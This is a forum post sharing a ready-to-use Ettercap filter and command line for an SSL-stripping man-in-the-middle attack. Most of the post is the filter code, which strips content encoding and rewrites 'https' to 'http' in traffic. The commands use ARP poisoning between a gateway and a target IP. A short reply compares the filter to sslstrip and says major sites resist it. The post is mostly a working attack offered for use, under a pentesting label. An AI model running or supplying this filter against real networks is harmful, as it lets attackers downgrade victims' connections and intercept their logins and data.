Turn HTTPS into HTTP - MITM Ettercap filter

[alien]

Just place it in HTTPS.FILTER, then compile it using "etterfilter" with the command : etterfilter https.filter -o https.ef Then You good to go with : ettercap -T -q -F https.ef -M ARP:remote /GATEWAY/ /TARGET_IP/ .

## 
# 
# This filter will substitute the word 'https' with 'http' on 
# both HTTP requests and responses. 
# 
# based on the discussion (and contained code) on forum thread 
# http://forums.remote-exploit.org/backtrack-v2-0-final/8126-ettercap-filter-3.html 
# 
## 
########################## 
## Zap Content Encoding ## 
########################## 
if (ip.proto == TCP && tcp.dst == 80) 
{ 
	if (search(DATA.data, "Accept-Encoding")) 
	{ 
		replace("Accept-Encoding", "Accept-Rubbish!"); 
		# note: replacement string is same length as original string 
		msg("[HTTP Response Filter] Encoding zapped.\n"); 
	} 
} 
##################### 
## Replace Content ## 
##################### 
## 
# Requests 
if (ip.proto == TCP && tcp.dst == 80) 
{ 
	# msg("[HTTP Response Filter] HTTP request seen.\n"); 
	if (search(DECODED.data, "https"))
	{ 
		replace("https", "http"); 
		msg("[HTTP Response Filter] *** HTTPS ZAPPED from request\n"); 
	} 
	if (search(DATA.data, "https"))
	{ 
		replace("https", "http"); 
		msg("[HTTP Response Filter] *** HTTPS ZAPPED from request\n"); 
	} 
} 
## 
# Response 
if (ip.proto == TCP && tcp.src == 80) 
{ 
	# msg("[HTTP Response Filter] HTTP response seen.\n"); 
	if (search(DECODED.data, "https"))
	{ 
		replace("https", "http"); 
		msg("[HTTP Response Filter] *** HTTPS ZAPPED from response\n"); 
	} 
	if (search(DATA.data, "https"))
	{ 
		replace("https", "http"); 
		msg("[HTTP Response Filter] *** HTTPS ZAPPED from response\n"); 
	} 
}

Source: I'M NASRO, I PENTEST ^^

[Cheater]

Este asemanator cu sslstrip, m-am jucat putin cu el, din pacate siteurile cele mai importante nu mai sunt vulnerabile la sslstrip...